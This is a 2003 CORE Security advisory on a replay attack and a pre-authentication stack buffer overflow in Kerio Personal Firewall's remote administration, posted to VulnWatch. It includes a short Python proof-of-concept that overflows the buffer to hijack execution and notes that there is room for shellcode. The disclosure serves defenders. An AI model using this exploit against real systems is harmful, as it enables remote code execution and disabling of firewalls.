

[VulnWatch] CORE-2003-0305-02: Vulnerabilities in Kerio Personal Firewall

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2003-04/0050.html>

From: CORE Security Technologies Advisories (advisories_at_coresecurity.com)

Date: 04/28/03

Date: Mon, 28 Apr 2003 15:34:27 -0300

To: Bugtraq <bugtraq@securityfocus.com>, Vulnwatch <vulnwatch@vulnwatch.org>

Core Security Technologies Advisory

<http://www.coresecurity.com>

Vulnerabilities in Kerio Personal Firewall

Date Published: 2003-04-28

Last Update: 2003-04-28

Advisory ID: CORE-2003-0305-02

Bugtraq ID: 7179, 7180

CVE Name: None currently assigned

Title: Kerio Personal Firewall Replay Attack and Buffer Overflow

Class: Design Error; Boundary Error Condition (Buffer Overflow)

Remotely Exploitable: Yes

Locally Exploitable: Yes

Advisory URL:

<http://www.coresecurity.com/common/showdoc.php?idx=314&idxseccion=10>

Vendors contacted:

– Kerio

We sent notifications mails to the following addresses:

security@kerio.com, support@kerio.com, webmaster@kerio.com,
kpf_bugs@kerio.com several times during March and April
(2003-03-11, 2003-03-24, 2003-04-10, 2003-04-24) and never
received an answer from Kerio.

Release Mode: USER RELEASE

Vulnerability Description:

Kerio Personal Firewall (KPF) is a firewall for workstations designed to protect them against attacks from the Internet and the local network. We found two security vulnerabilities in KPF's remote administration system:

[BID 7179]

A replay attack is possible against the authenticated/encrypted channel for remote administration. A design problem in the authentication mechanism for remote administration allows an attacker to replay captured packets from a valid remote administration session in order to reproduce the administrator's directives to the personal firewall.

For example if the attacker is able to sniff a valid session in which the administrator disabled the firewall capabilities, then the attacker will gain the ability to disable the personal firewall at will at any time in the future.

[BID 7180]

A remotely exploitable buffer overflow exists in the administrator authentication process.

Vulnerable Packages:

Kerio Personal Firewall version 2.1.4 and previous versions.

Solution/Vendor Information/Workaround:

Contact the vendor for a fix.

Workaround: disable the remote administration feature.

Credits:

These vulnerabilities were found by Emiliano Kargieman, Hernán Gips and Javier Burrón from Core Security Technologies during Bugweek 2003 (March 3-7, 2003).

Technical Description – Exploit/Concept Code:

We found two security vulnerabilities in Kerio PF's remote administration system.

[BID 7179]

A replay attack is possible against the authenticated/encrypted remote administration channel. As a result of a design problem in the authentication mechanism for remote administration, it is possible to replay a previously captured administration session.

If 'S' is the workstation running Kerio personal firewall and 'C' is the administrator workstation, the following scheme shows the initial

key exchange and authentication packets for a remote administration session:

S C

```
<--- connect
----> 10 bytes (0f 00 0a 00 01 00 00 00 02 00)
[*] ----> 128 bytes (the initial 64 bytes are 0 and the last
        64 bytes are the 'public' key)
----> 128 bytes (Everything is 0ed except the last 4 bytes
        [01 00 01 00])
[0] <---- 4 bytes (00 00 00 40)
[1] <---- 64 bytes (This 64 bytes change from session to session)
[2] <---- 32 bytes (From now on, everything is encrypted and differs
        from session to session)
----> 4 bytes ()
[3] <---- 64 bytes (user authentication)
.....
..... (The session continues with commands and responses)
.....
```

[*] The last 64 bytes of this packet are read from the file 'persfw.key' on the Kerio installation directory.

It was noted from analyzing these sessions that the first differences between different sessions come from the administrator's workstation 'C'. This led us to try replaying an administration session as a whole, with the unexpected result that it was deemed valid by 'S'. This shows that in fact no randomization or serialization is used on the 'server' side 'S', and thus there is no way for Kerio to ensure that the session is new and not a replay of an old one.

As a result, an attacker with access to an encrypted administration session can record the session and replay it to the server at a later time to reissue the administration commands to the personal firewall. The commands replayed can include enabling/disabling the firewall, adding firewall rules, etc.

[BID 7180]

A remotely exploitable buffer overflow exists in the administrator authentication process. When Administrator connects to the firewall a handshake occurs in order to establish an encrypted session. The 4th packet of the handshake (the first packet sent by the administrator) is a 4 byte packet data, with a fixed number of 0x40 (64) indicating the size of the following packet expected to contain the administrator's key.

No boundary checks exist at the firewall side for processing this data, and the `recv()` reads the 4 bytes and then attempts to read the amount of data indicated by the 4 bytes to a buffer on the stack.

As a result an attacker connecting to the administration port on the personal firewall can construct a packet sequence that will overflow the buffer on the stack, allowing her to execute arbitrary code on

the machine running the personal firewall.

It is important to note that these packets are accepted by the personal firewall before authentication of the administrator takes place.

The following proof of concept Python script will make the program jump to address 0x41414141. Note that there is enough space in the buffer (approx. 1800 bytes) to insert a shell code.

```
-----  
import os  
import socket  
import struct  
import string  
  
def g():  
    fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    try:  
        fd.connect(('192.168.66.160', 44334))  
        fd.recv(10)  
        fd.recv(256)  
        fd.send(struct.pack('!L', 0x149c))  
        astr = 'A'*0x149c  
        fd.send(astr)  
  
    except Exception, e:  
        print e  
        pass  
  
    fd.close()  
  
g()  
-----
```

About Core Security Technologies

Core Security Technologies develops strategic security solutions for Fortune 1000 corporations, government agencies and military organizations. The company offers information security software and services designed to assess risk and protect and manage information assets.

Headquartered in Boston, MA, Core Security Technologies can be reached at 617-399-6980 or on the Web at <http://www.coresecurity.com>.

To learn more about CORE IMPACT, the first comprehensive penetration testing framework, visit:

<http://www.coresecurity.com/products/coreimpact>

DISCLAIMER:

VulnWatch: [VulnWatch] CORE-2003-0305-02: Vulnerabilities in Kerio Personal Firewall

The contents of this advisory are copyright (c) 2003 CORE Security Technologies and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

\$Id: Kerio-advisory.txt,v 1.6 2003/04/28 14:52:05 carlos Exp \$